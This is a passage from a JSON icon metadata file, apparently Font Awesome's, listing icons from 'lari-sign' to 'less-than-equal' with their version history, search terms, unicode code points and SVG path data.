h0Z"
      }
    },
    "free": ["brands"]
  },
  "lari-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Lari Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1c8",
    "label": "Lari Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M144 32c17.7 0 32 14.3 32 32V96.7c5.3-.4 10.6-.7 16-.7s10.7 .2 16 .7V64c0-17.7 14.3-32 32-32s32 14.3 32 32v49.4c54.9 25.2 95.8 75.5 108.2 136.2c3.5 17.3-7.7 34.2-25 37.7s-34.2-7.7-37.7-25c-6.1-29.9-22.5-55.9-45.4-74.3V256c0 17.7-14.3 32-32 32s-32-14.3-32-32V161c-5.2-.7-10.6-1-16-1s-10.8 .3-16 1v95c0 17.7-14.3 32-32 32s-32-14.3-32-32V188.1C82.7 211.5 64 247.6 64 288c0 70.7 57.3 128 128 128H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H192 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48.9C18.5 382 0 337.2 0 288c0-77.5 45.9-144.3 112-174.6V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M144 32c17.7 0 32 14.3 32 32V96.7c5.3-.4 10.6-.7 16-.7s10.7 .2 16 .7V64c0-17.7 14.3-32 32-32s32 14.3 32 32v49.4c54.9 25.2 95.8 75.5 108.2 136.2c3.5 17.3-7.7 34.2-25 37.7s-34.2-7.7-37.7-25c-6.1-29.9-22.5-55.9-45.4-74.3V256c0 17.7-14.3 32-32 32s-32-14.3-32-32V161c-5.2-.7-10.6-1-16-1s-10.8 .3-16 1v95c0 17.7-14.3 32-32 32s-32-14.3-32-32V188.1C82.7 211.5 64 247.6 64 288c0 70.7 57.3 128 128 128H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H192 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48.9C18.5 382 0 337.2 0 288c0-77.5 45.9-144.3 112-174.6V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "lastfm": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f202",
    "label": "last.fm",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z"
      }
    },
    "free": ["brands"]
  },
  "layer-group": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5fd"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "develop", "layers", "map", "stack"]
    },
    "styles": ["solid"],
    "unicode": "f5fd",
    "label": "Layer Group",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M264.5 5.2c14.9-6.9 32.1-6.9 47 0l218.6 101c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 149.8C37.4 145.8 32 137.3 32 128s5.4-17.9 13.9-21.8L264.5 5.2zM476.9 209.6l53.2 24.6c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 277.8C37.4 273.8 32 265.3 32 256s5.4-17.9 13.9-21.8l53.2-24.6 152 70.2c23.4 10.8 50.4 10.8 73.8 0l152-70.2zm-152 198.2l152-70.2 53.2 24.6c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 405.8C37.4 401.8 32 393.3 32 384s5.4-17.9 13.9-21.8l53.2-24.6 152 70.2c23.4 10.8 50.4 10.8 73.8 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M264.5 5.2c14.9-6.9 32.1-6.9 47 0l218.6 101c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 149.8C37.4 145.8 32 137.3 32 128s5.4-17.9 13.9-21.8L264.5 5.2zM476.9 209.6l53.2 24.6c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 277.8C37.4 273.8 32 265.3 32 256s5.4-17.9 13.9-21.8l53.2-24.6 152 70.2c23.4 10.8 50.4 10.8 73.8 0l152-70.2zm-152 198.2l152-70.2 53.2 24.6c8.5 3.9 13.9 12.4 13.9 21.8s-5.4 17.9-13.9 21.8l-218.6 101c-14.9 6.9-32.1 6.9-47 0L45.9 405.8C37.4 401.8 32 393.3 32 384s5.4-17.9 13.9-21.8l53.2-24.6 152 70.2c23.4 10.8 50.4 10.8 73.8 0z"
      }
    },
    "free": ["solid"]
  },
  "leaf": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f06c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["eco", "flora", "nature", "plant", "vegan"]
    },
    "styles": ["solid"],
    "unicode": "f06c",
    "label": "Leaf",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M272 96c-78.6 0-145.1 51.5-167.7 122.5c33.6-17 71.5-26.5 111.7-26.5h88c8.8 0 16 7.2 16 16s-7.2 16-16 16H288 216s0 0 0 0c-16.6 0-32.7 1.9-48.2 5.4c-25.9 5.9-50 16.4-71.4 30.7c0 0 0 0 0 0C38.3 298.8 0 364.9 0 440v16c0 13.3 10.7 24 24 24s24-10.7 24-24V440c0-48.7 20.7-92.5 53.8-123.2C121.6 392.3 190.3 448 272 448l1 0c132.1-.7 239-130.9 239-291.4c0-42.6-7.5-83.1-21.1-119.6c-2.6-6.9-12.7-6.6-16.2-.1C455.9 72.1 418.7 96 376 96L272 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M272 96c-78.6 0-145.1 51.5-167.7 122.5c33.6-17 71.5-26.5 111.7-26.5h88c8.8 0 16 7.2 16 16s-7.2 16-16 16H288 216s0 0 0 0c-16.6 0-32.7 1.9-48.2 5.4c-25.9 5.9-50 16.4-71.4 30.7c0 0 0 0 0 0C38.3 298.8 0 364.9 0 440v16c0 13.3 10.7 24 24 24s24-10.7 24-24V440c0-48.7 20.7-92.5 53.8-123.2C121.6 392.3 190.3 448 272 448l1 0c132.1-.7 239-130.9 239-291.4c0-42.6-7.5-83.1-21.1-119.6c-2.6-6.9-12.7-6.6-16.2-.1C455.9 72.1 418.7 96 376 96L272 96z"
      }
    },
    "free": ["solid"]
  },
  "leanpub": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f212",
    "label": "Leanpub",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"
      }
    },
    "free": ["brands"]
  },
  "left-long": {
    "aliases": {
      "names": ["long-arrow-alt-left"],
      "unicodes": {
        "secondary": ["10f30a"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["back", "long-arrow-left", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f30a",
    "label": "Left Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M177.5 414c-8.8 3.8-19 2-26-4.6l-144-136C2.7 268.9 0 262.6 0 256s2.7-12.9 7.5-17.4l144-136c7-6.6 17.2-8.4 26-4.6s14.5 12.5 14.5 22l0 72 288 0c17.7 0 32 14.3 32 32l0 64c0 17.7-14.3 32-32 32l-288 0 0 72c0 9.6-5.7 18.2-14.5 22z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M177.5 414c-8.8 3.8-19 2-26-4.6l-144-136C2.7 268.9 0 262.6 0 256s2.7-12.9 7.5-17.4l144-136c7-6.6 17.2-8.4 26-4.6s14.5 12.5 14.5 22l0 72 288 0c17.7 0 32 14.3 32 32l0 64c0 17.7-14.3 32-32 32l-288 0 0 72c0 9.6-5.7 18.2-14.5 22z"
      }
    },
    "free": ["solid"]
  },
  "left-right": {
    "aliases": {
      "names": ["arrows-alt-h"],
      "unicodes": {
        "composite": ["2194"],
        "secondary": ["10f337"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows-h",
        "expand",
        "horizontal",
        "landscape",
        "left-right arrow",
        "resize",
        "wide"
      ]
    },
    "styles": ["solid"],
    "unicode": "f337",
    "label": "Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504.3 273.6c4.9-4.5 7.7-10.9 7.7-17.6s-2.8-13-7.7-17.6l-112-104c-7-6.5-17.2-8.2-25.9-4.4s-14.4 12.5-14.4 22l0 56-192 0 0-56c0-9.5-5.7-18.2-14.4-22s-18.9-2.1-25.9 4.4l-112 104C2.8 243 0 249.3 0 256s2.8 13 7.7 17.6l112 104c7 6.5 17.2 8.2 25.9 4.4s14.4-12.5 14.4-22l0-56 192 0 0 56c0 9.5 5.7 18.2 14.4 22s18.9 2.1 25.9-4.4l112-104z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504.3 273.6c4.9-4.5 7.7-10.9 7.7-17.6s-2.8-13-7.7-17.6l-112-104c-7-6.5-17.2-8.2-25.9-4.4s-14.4 12.5-14.4 22l0 56-192 0 0-56c0-9.5-5.7-18.2-14.4-22s-18.9-2.1-25.9 4.4l-112 104C2.8 243 0 249.3 0 256s2.8 13 7.7 17.6l112 104c7 6.5 17.2 8.2 25.9 4.4s14.4-12.5 14.4-22l0-56 192 0 0 56c0 9.5 5.7 18.2 14.4 22s18.9 2.1 25.9-4.4l112-104z"
      }
    },
    "free": ["solid"]
  },
  "lemon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f34b"],
        "secondary": ["10f094"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["citrus", "fruit", "lemon", "lemonade", "lime", "tart"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f094",
    "label": "Lemon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 96c0-35.3-28.7-64-64-64c-6.6 0-13 1-19 2.9c-22.5 7-48.1 14.9-71 9c-75.2-19.1-156.4 11-213.7 68.3S-7.2 250.8 11.9 326c5.8 22.9-2 48.4-9 71C1 403 0 409.4 0 416c0 35.3 28.7 64 64 64c6.6 0 13-1 19.1-2.9c22.5-7 48.1-14.9 71-9c75.2 19.1 156.4-11 213.7-68.3s87.5-138.5 68.3-213.7c-5.8-22.9 2-48.4 9-71c1.9-6 2.9-12.4 2.9-19.1zM212.5 127.4c-54.6 16-101.1 62.5-117.1 117.1C92.9 253 84 257.8 75.5 255.4S62.2 244 64.6 235.5c19.1-65.1 73.7-119.8 138.9-138.9c8.5-2.5 17.4 2.4 19.9 10.9s-2.4 17.4-10.9 19.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 96c0-35.3-28.7-64-64-64c-6.6 0-13 1-19 2.9c-22.5 7-48.1 14.9-71 9c-75.2-19.1-156.4 11-213.7 68.3S-7.2 250.8 11.9 326c5.8 22.9-2 48.4-9 71C1 403 0 409.4 0 416c0 35.3 28.7 64 64 64c6.6 0 13-1 19.1-2.9c22.5-7 48.1-14.9 71-9c75.2 19.1 156.4-11 213.7-68.3s87.5-138.5 68.3-213.7c-5.8-22.9 2-48.4 9-71c1.9-6 2.9-12.4 2.9-19.1zM212.5 127.4c-54.6 16-101.1 62.5-117.1 117.1C92.9 253 84 257.8 75.5 255.4S62.2 244 64.6 235.5c19.1-65.1 73.7-119.8 138.9-138.9c8.5-2.5 17.4 2.4 19.9 10.9s-2.4 17.4-10.9 19.9z"
      },
      "regular": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M368 80c-3.2 0-6.2 .4-8.9 1.3C340 86.8 313 91.9 284.8 84.6C227.4 69.7 160.2 92 110.1 142.1S37.7 259.4 52.6 316.8c7.3 28.2 2.2 55.2-3.3 74.3c-.8 2.8-1.3 5.8-1.3 8.9c0 17.7 14.3 32 32 32c3.2 0 6.2-.4 8.9-1.3c19.1-5.5 46.1-10.7 74.3-3.3c57.4 14.9 124.6-7.4 174.7-57.5s72.4-117.3 57.5-174.7c-7.3-28.2-2.2-55.2 3.3-74.3c.8-2.8 1.3-5.8 1.3-8.9c0-17.7-14.3-32-32-32zm0-48c44.2 0 80 35.8 80 80c0 7.7-1.1 15.2-3.1 22.3c-4.6 15.8-7.1 32.9-3 48.9c20.1 77.6-10.9 161.5-70 220.7s-143.1 90.2-220.7 70c-16-4.1-33-1.6-48.9 3c-7.1 2-14.6 3.1-22.3 3.1c-44.2 0-80-35.8-80-80c0-7.7 1.1-15.2 3.1-22.3c4.6-15.8 7.1-32.9 3-48.9C-14 251.3 17 167.3 76.2 108.2S219.3 18 296.8 38.1c16 4.1 33 1.6 48.9-3c7.1-2 14.6-3.1 22.3-3.1zM246.7 167c-52 15.2-96.5 59.7-111.7 111.7c-3.7 12.7-17.1 20-29.8 16.3s-20-17.1-16.3-29.8c19.8-67.7 76.6-124.5 144.3-144.3c12.7-3.7 26.1 3.6 29.8 16.3s-3.6 26.1-16.3 29.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M368 80c-3.2 0-6.2 .4-8.9 1.3C340 86.8 313 91.9 284.8 84.6C227.4 69.7 160.2 92 110.1 142.1S37.7 259.4 52.6 316.8c7.3 28.2 2.2 55.2-3.3 74.3c-.8 2.8-1.3 5.8-1.3 8.9c0 17.7 14.3 32 32 32c3.2 0 6.2-.4 8.9-1.3c19.1-5.5 46.1-10.7 74.3-3.3c57.4 14.9 124.6-7.4 174.7-57.5s72.4-117.3 57.5-174.7c-7.3-28.2-2.2-55.2 3.3-74.3c.8-2.8 1.3-5.8 1.3-8.9c0-17.7-14.3-32-32-32zm0-48c44.2 0 80 35.8 80 80c0 7.7-1.1 15.2-3.1 22.3c-4.6 15.8-7.1 32.9-3 48.9c20.1 77.6-10.9 161.5-70 220.7s-143.1 90.2-220.7 70c-16-4.1-33-1.6-48.9 3c-7.1 2-14.6 3.1-22.3 3.1c-44.2 0-80-35.8-80-80c0-7.7 1.1-15.2 3.1-22.3c4.6-15.8 7.1-32.9 3-48.9C-14 251.3 17 167.3 76.2 108.2S219.3 18 296.8 38.1c16 4.1 33 1.6 48.9-3c7.1-2 14.6-3.1 22.3-3.1zM246.7 167c-52 15.2-96.5 59.7-111.7 111.7c-3.7 12.7-17.1 20-29.8 16.3s-20-17.1-16.3-29.8c19.8-67.7 76.6-124.5 144.3-144.3c12.7-3.7 26.1 3.6 29.8 16.3s-3.6 26.1-16.3 29.8z"
      }
    },
    "free": ["regular", "solid"]
  },
  "less": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41d",
    "label": "Less",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z"
      }
    },
    "free": ["brands"]
  },
  "less-than": {
    "aliases": {
      "unicodes": {
        "composite": ["f536"],
        "primary": ["f536"],
        "secondary": ["103c", "10f536"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Less-Than Sign", "arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "3c",
    "label": "Less Than",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M380.6 81.7c7.9 15.8 1.5 35-14.3 42.9L103.6 256 366.3 387.4c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-320-160C6.8 279.2 0 268.1 0 256s6.8-23.2 17.7-28.6l320-160c15.8-7.9 35-1.5 42.9 14.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M380.6 81.7c7.9 15.8 1.5 35-14.3 42.9L103.6 256 366.3 387.4c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-320-160C6.8 279.2 0 268.1 0 256s6.8-23.2 17.7-28.6l320-160c15.8-7.9 35-1.5 42.9 14.3z"
      }
    },
    "free": ["solid"]
  },
  "less-than-equal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f537"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "f537",
    "label": "Less Than Equal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M395.9 93.7c16.4-6.6 24.4-25.2 17.8-41.6s-25.2-24.4-41.6-17.8l-320 128C40 167.1 32 178.9 32 192s8 24.9 20.1 29.7l320 128c16.4 6.6 35-1.4 41.6-17.8s-1.4-35-17.8-41.6L150.2 192 395.9 93.7zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
